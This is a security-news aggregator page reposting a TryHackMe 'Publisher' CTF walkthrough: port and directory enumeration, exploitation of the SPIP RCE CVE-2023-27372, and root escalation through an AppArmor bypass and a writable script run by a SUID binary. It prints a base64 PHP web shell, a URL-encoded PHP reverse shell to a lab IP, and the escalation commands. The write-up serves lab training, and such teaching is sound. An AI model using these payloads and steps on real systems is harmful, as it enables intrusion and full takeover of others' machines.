Zum Hauptinhalt springen
LIVE
CVSS 6.9CVE-2026-138103 | A vulnerability was detected in ssssssss-team magic-api up to 2.2.2. This issue affects the function saveFile of the file MagicResourceController.java of the component magic-api-core resource save API. The manipulation results in code injection. It is possible to launch the attack remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.CVSS 9.4CVE-2026-138102 | A security vulnerability has been detected in D-Link DIR-620S 4.0.2. This vulnerability affects unknown code of the file /usr/sbin/anweb of the component Diagnostic Handler. The manipulation of the argument I leads to os command injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used.CVSS 5.3CVE-2026-138101 | A weakness has been identified in MassGen up to 0.1.97. This affects the function _generate_subagent_yaml_config of the file massgen/subagent/manager.py of the component Subagent Delegation System. Executing a manipulation can lead to improper authorization. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has notCVSS 6.9CVE-2026-138100 | A security flaw has been discovered in MassGen up to 0.1.97. Affected by this issue is the function __init__ of the file massgen/filesystem_manager/_filesystem_manager.py. Performing a manipulation results in protection mechanism failure. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.CVSS 8.7CVE-2026-138099 | A vulnerability was identified in Tenda AC10U 1.18.6. Affected by this vulnerability is the function readUsb of the component ATE Service. Such manipulation leads to out-of-bounds write. The attack can be executed remotely. The exploit is publicly available and might be used.CVSS 6.9CVE-2026-138098 | A vulnerability was determined in weison-tech yii2-cms up to 1.0.2. Affected is an unknown function of the file protected/core/config/common.php of the component RBAC Authorization. This manipulation causes improper authorization. Remote exploitation of the attack is possible.CVSS 6.9CVE-2026-138097 | A vulnerability was found in weison-tech yii2-cms up to 1.0.2. This impacts the function isActive of the file AccessControl.php of the component RBAC Admin Module. The manipulation results in missing authorization. The attack may be launched remotely.CVSS 6.9CVE-2026-138096 | A vulnerability has been found in weison-tech yii2-cms up to 1.0.2. This affects an unknown function of the file protected/core/config/web.php of the component Admin Auto-Login Identity Cookie. The manipulation leads to improper authentication. The attack may be initiated remotely.
Alle im Drawer
Intelligence View
⚡ tsecurity.de Intelligence

Publisher: TryHackMe CTF Walkthrough

Link to the Room: https://tryhackme.com/room/publisherTitle: Test your enumeration skills on this boot-to-root machineDescription: The “Publisher” CTF machine i…

Beitrag
0
Seite
0
↗ Quelle (infosecwriteups.com)
CVE & Threat-Kontext · 8 Min. Lesezeit
Quelle: infosecwriteups.com
Rubrik: Ethical Hacking & Pentesting
CVE-2023-27372 CVSS 9.8 EPSS 80.6%

Link to the Room: https://tryhackme.com/room/publisher

Title: Test your enumeration skills on this boot-to-root machine

Description: The “Publisher” CTF machine is a simulated environment hosting some services. Through a series of enumeration techniques, including directory fuzzing and version identification, a vulnerability is discovered, allowing for Remote Code Execution (RCE). Attempts to escalate privileges using a custom binary are hindered by restricted access to critical system files and directories, necessitating a deeper exploration into the system’s security profile to ultimately exploit a loophole that enables the execution of an unconfined bash shell and achieve privilege escalation

AI Generated

1. Scanning & Enumeration

Using nmap command to discover open ports on the target system:

nmap Target_IP -vvv
Initial nmap Scan

Found two open ports on the target system, further exploring the machine to discover the services & their versions running on these open ports:

nmap -p22,80 -sV 10.80.133.78 -o nmap.txt
service scan

Web

From above scan discovered two different services (ssh & http) running on the target machine
Exploring the HTTP service running on port 80

Web App

A good habit is first to map the application and understand the technology stack it is using
Using Wappalyzer browser extension to discover the technology stack and programming language which target web application is using

Tech Stack

Find directories and files using Gobuster tool:

gobuster dir -u http://TARGET_IP:80/ -w /usr/share/seclists/Discovery/Web-Content/big.txt
gobuster

From above scan two directories found:

/images/
/spip/

Further enumerating the /spip/ directory to find more files & directories:

gobuster dir -u http://10.82.133.14:80/spip/ -w /usr/share/seclists/Discovery/Web-Content/big.txt

Result:

/LICENSE
/README.md

/config/
/ecrire/
/local/
/prive/
/squelettes-dist/
/tmp/
/vendor/

Analyzing each directory and files they contain, I encountered the version of the CMS spip which target web application is using, displayed in one of the file located at: /spip/local/config.txt

/spip/local/config.txt

Using searchsploit tool to find the possible exploit for that specific CMS (spip):

searchsploit spip
searchsploit

From above command it displays that the web application is running a vulnerable CMS version which can lead attacker to Remote Code Execution without having authentication credentials

2. Exploitation

Searching for this vulnerable software on the internet provides the CVE details and PoC to exploit

CVE-2023–27372

Download the python exploit for CVE-2023-27372 from the GitHub repo displayed above and run the exploit to upload a web shell on this vulnerable web application

./CVE-2023-27372.py -u http://10.80.180.136/spip -c "echo PD9waHAKaWYgKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsKICAgIHN5c3RlbSgkX0dFVFsnY21kJ10pOwp9Cj8+Cg== | base64 -d > webshell.php"

Now, you can access the web shell created on the vulnerable application by visiting the URL: http://TARGET_IP/spip/webshell.php
You can run the necessary commands by providing a CMD parameter, as: http://10.80.180.136/spip/webshell.php?cmd=id

webshell

Reverse Shell

To obtain reverse shell from the target system perform following steps:

  1. Setup a listener on your local machine (attack box): nc -lnvp 4444
  2. Execute URL encoded reverse shell from web shell on the target system, as: php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.136.23%22%2C4444%29%3Bshell_exec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
Running revershell

Reverse shell received on the listener running on local machine

Revershell received

Found user.txt within the think user’s home directory /home/think

user.txt

3. Privilege Escalation

Looking for privilege escalation vectors to gain access to other users on the system

While enumerating for sensitive files I found user think ssh private key id_rsa which is readable by all the users on the system (including www-data which we have compromised)

id_rsa

As system is already running the SSH service we found earlier in nmap scan, lets try to access SSH service from local machine (attacker machine) as user think with its private key id_rsa

chmod 600 id_rsa
ssh think@Target_IP -i id_rsa
copied id_rsa
ssh as think

Access to root user

Looking for SUID binaries which are running as user root, and can be executed by the currently compromised user think:

find / -type f -perm -u=s -ls 2>/dev/null

By running above command, found a custom binary having SUID privileges (SUID allows to run the binary with the privileges of its owner which is root in this case) and can be executed by any user on the system (including think)

SUID binary

By executing this suspicious binary /usr/sbin/run_container, look at the output, this binary is executing another shell program located at /opt/run_container.sh

execute SUID binary

Listing the permissions of this program:

ls -l /opt/run_container.sh

As displayed following, this target shell program (/opt/run_container.sh) is writable by all the users on the system

perm(/opt/run_container.sh)

Now, the exploit process seems to be simple just write malicious commands in that target /opt/run_container.sh program file & running the custom SUID binary will execute this file containing attacker's malicious command, thus giving us a root shell

But, on writing into /opt/run_container.sh returns permission denied error, even if /opt/run_container.sh is globally writable

Permission denied

That’s an abnormal behavior, user is unable to modify the writable file. There might be some other application or config blocking such action, as specified in the Hint of root flag: “Look to the App Armor by it’s profile”

Let’s google for App Armor it displays:

AppArmor provides Mandatory Access Control (MAC) by restricting programs and process from read/write/execute permissions on files/directories through strict, per-program profiles

From the above info it is clear that their might be some program specific restrictions applied which is restricting users to modify the writable /opt/run_container.sh file

Another, google search for App Armor config file, results:

App Armor configs/profiles are primarily stored in the /etc/apparmor.d/ directory
Profiles are named after the absolute path to the executable they protect, replacing the forward slashes (/) with periods (.)
Example:
As profile for
/usr/bin/nginx is saved as /etc/apparmor.d/usr.bin.nginx

List the App Armor profiles on the target system

ls -l /etc/apparmor.d/
app armor profiles

By running above command it displays a profile for ash shell, which is another Linux shell just like bash,sh,zsh

This usr.sbin.ash profile of App Armor applies to the current user think becuase this user is using the ash shell, you can confirm this by running:

echo $0
echo $0

View the usr.sbin.ash profile by running command:

cat /etc/apparmor.d/usr.sbin.ash
usr.sbin.ash

Understanding the rules to the specified directories in usr.sbin.ash profile:

deny /opt r, --> prevents from reading/listing the "/opt" directory but directories & file under this directory can still be listed & read, as: ls -l /opt/run_container.sh

deny /opt/** w, --> same as above but applies to "/opt" directory

deny /tmp/** w, --> same as above but applies to "/tmp" directory

deny /dev/shm w, --> prevents from writing on the "/dev/shm" directory itself, but this doesn't apply on the files & subdirectories

dev /var/tmp w, --> same as above but applies to "/var/tmp" directory

dev /var/tmp w, --> prevents from writing into the "/home/**" directory

/usr/bin/** mrix, --> allows execution of the programs under "/usr/bin/" directory but that new process inherits the current profile, as in this case:
new_process (profile "/etc/apparmor.d/usr.sbin.ash")
|
exec("/usr/bin/bash")
|
bash (still profile "/etc/apparmor.d/usr.sbin.ash" applied)

/usr/sbin/** mrix, --> same as above but applies to "/usr/sbin/" directory

As the above profile is applied to the current shell ash & from the profile configs /usr/bin/** it displays that we can execute the /usr/bin/bash to change the shell but the usr.sbin.ash profile will still be applied to that new shell process, hence user will still be unable to modify the target program /opt/run_container.sh

But it is still possible to bypass the usr.sbin.ash profile if attacker executes the bash shell from any other directory where mrix configs doesn't apply, so from here out exploit methodology will be:

1️⃣ Copy the /usr/bin/bash shell to any other directory, in this case we are using /var/tmp:

cp /usr/bin/bash /var/tmp/bash

2️⃣ Execute the /var/tmp/bash to change the shell & bypass the usr.sbin.ash profile configs:

/var/tmp/bash

Now, attacker is able to modify the /opt/run_container.sh

3️⃣ Insert your malicious commands in the target program:

echo "/usr/bin/bash -p" >> /opt/run_container.sh

4️⃣ Now, execute the SUID binary which executes this target program injected with attacker’s malicious command (/usr/bin/bash -p), hence giving root privileges:

/usr/sbin/run_container
root shell

Read the /root/root.txt to get our final flag:

cat /root/root.txt
root.txt

If you want more walkthroughs on CTF challenges, detailed writeups on Web Hacking and exploitatoin techniques, follow me here on Medium to stay update and get notified


Publisher: TryHackMe CTF Walkthrough was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Official CVE description

CVE-2023-27372

SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.

Complete and unabridged from the CVE/NVD records — the source text above is intentionally an excerpt. To the CVE dossier

Information ergänzen Fachhinweis, Update, Korrektur oder Quelle zur Meldung beitragen
Gäste-Hinweise werden kurz redaktionell geprüft und danach hier angezeigt.

Community-Hinweise zur Meldung

0 freigegeben
Social ReaktionenReagiere als Erste:r — dein Feedback zählt!
Informations-Bewertung:

💬 Community discussion & comments

🌐 Join the main chat

Start the discussion in the Social Chat broadcast stream or submit an expert contribution via the supplement form above.

Exploit Weaponization & PoC Radar

IT Admin Urgency · Researcher Attack Surface · Exploit Evidence

CRITICAL WEAPONIZED · 95/100IT Admin Score: 79/100Researcher Score: 95/100
Exploit-DB
EDB-51536
Interaktion
0-Click
Authentifizierung
Nicht erforderlich
Ethical Security Notice
Community Members Only

Exploit & PoC references are restricted to registered community members and intended strictly for defensive analysis, patching, and authorized security testing. Access and outbound clicks are logged for abuse prevention.

Metasploit-Modul (1)GitHub PoC (4)Exploit-DB (1)
Exploit & Remediation Lifecycle
PoC · Exploitation · Patch Stages
CVE-2023-27372
Discovery & Disclosure
Vulnerability identified & registered
Security Advisory
Official warning & CVE assignment
Exploit / PoC
Öffentlicher Nachweis dokumentiert (🔒 Details nur für Community-Mitglieder)
In-the-Wild Exploitation
Active exploitation observed (CISA KEV / EPSS)
Patch & Remediation
Noch kein offizieller Patch bestätigt — Angriffsfläche reduzieren & Hersteller-Feeds beobachten.
Community Rating & Social Proof
⭐ Reader Rating
–
Ø / 5.0
No reader ratings yet
Was this article helpful?
0
Submit your rating
Detailed rating (optional)
Content & Quality
Source & Credibility
Freshness
Security Briefing Free · 1-Click Unsubscribe

Intelligence Digest — free

The top security news daily · unsubscribe anytime

Related story clusters & sources (vector AI)

6 Cluster
27 sources
ForgeOS Booted on a Real Server: Linux Kernel Below, Only Our Own Code Above
DEV Community 42 min. ago
26 more sources
VulDB Updates1 hour agoCVE-2026-72239 | Linux Kernel sev x86/virt/sev/sev.c wbinvd_on_all_cpus state issue (WID-SEC-2026-2852) VulDB Updates1 hour agoCVE-2026-72240 | Linux Kernel up to 7.1.4 mfd sm501_register_device memory leak (WID-SEC-2026-2852) VulDB Updates1 hour agoCVE-2026-72241 | Linux Kernel up to 7.1.4 uleds strchr buffer overflow (WID-SEC-2026-2852) VulDB Updates1 hour agoCVE-2026-72244 | Linux Kernel up to 6.12.100/6.18.41/7.1.4/7.2-rc2 gpu-buddy allocation of resources (WID-SEC-2026-2852) VulDB Updates1 hour agoCVE-2026-72243 | Linux Kernel up to 7.2-rc2 selinux socket_sendmsg permission (Nessus ID 364200 / WID-SEC-2026-2852) VulDB Updates1 hour agoCVE-2026-72245 | Linux Kernel up to 7.1.4 host1x host1x_device_parse_dt release of resource (WID-SEC-2026-2852) VulDB Updates1 hour agoCVE-2026-72246 | Linux Kernel flowtable input validation (WID-SEC-2026-2852) VulDB Updates1 hour agoCVE-2026-72247 | Linux Kernel up to 7.2-rc3 nf_conncount __nf_conncount_add dir comparison (WID-SEC-2026-2852) VulDB Updates1 hour agoCVE-2026-72248 | Linux Kernel up to 7.1.4/7.2-rc2 flowtable nft_flow_dst_release buffer overflow (WID-SEC-2026-2852) LinuxAndUbuntu1 hour agoLinux AutoFDO Benchmark: Clang Kernel Optimization FOSS Linux1 hour agoNFS2ROOT: Pre-Auth Flaw in the Linux NFS Server VulDB Updates2 hours agoCVE-2022-31607 | NVIDIA GPU Display Driver on Linux Kernel Mode Layer nvidia.ko input validation (EUVD-2022-53059 / Nessus ID 339047) VulDB Updates3 hours agoCVE-2026-72227 | Linux Kernel up to 6.12.96/6.18.39/7.1.4/7.2-rc2 batman-adv out-of-bounds (WID-SEC-2026-2852) VulDB Updates3 hours agoCVE-2026-72228 | Linux Kernel up to 7.2-rc2 batman-adv skb_split memory leak (WID-SEC-2026-2852) VulDB Updates3 hours agoCVE-2026-72229 | Linux Kernel up to 7.2-rc2 batman-adv register_netdevice memory leak (WID-SEC-2026-2852) VulDB Updates3 hours agoCVE-2026-72231 | Linux Kernel up to 7.2-rc2 batman-adv batadv_send_tt_request allocation of resources (WID-SEC-2026-2852) VulDB Updates3 hours agoCVE-2026-72230 | Linux Kernel up to 7.2-rc2 batman-adv batadv_frag_send_packet memory leak (WID-SEC-2026-2852) VulDB Updates3 hours agoCVE-2026-72232 | Linux Kernel up to 7.2-rc2 batman-adv batadv_interface_tx out-of-bounds (WID-SEC-2026-2852) VulDB Updates3 hours agoCVE-2026-72234 | Linux Kernel up to 7.2-rc1 batman-adv batadv_get_vid use after free (WID-SEC-2026-2852) VulDB Updates3 hours agoCVE-2026-72233 | Linux Kernel up to 7.2-rc1 batman-adv batadv_bla_is_backbone_gw use after free (WID-SEC-2026-2852) VulDB Updates3 hours agoCVE-2026-72236 | Linux Kernel up to 7.2-rc3 s390/perf_cpum_cf __hw_perf_event_init config array index (WID-SEC-2026-2852) VulDB Updates3 hours agoCVE-2026-72235 | Linux Kernel up to 7.2-rc1 batman-adv batadv_interface_rx use after free (WID-SEC-2026-2852) VulDB Updates3 hours agoCVE-2026-72237 | Linux Kernel up to 7.2-rc2 BRS /x86/amd/brs amd_brs_match_plm information disclosure (WID-SEC-2026-2852) VulDB Updates3 hours agoCVE-2026-72238 | Linux Kernel up to 7.2-rc3 x86 boot early_serial_init integer overflow (WID-SEC-2026-2852) DEV Community3 hours agoIs that GPTBot real? How to verify Googlebot, Bingbot and AI crawlers in your server logs VulDB Updates4 hours agoCVE-2022-31254 | SUSE Linux Enterprise Server/Manager Server rmt-server-regsharing Service default permission (EUVD-2022-52831)
Pull to refresh
Widgets & topics
Loading widgets…
Next post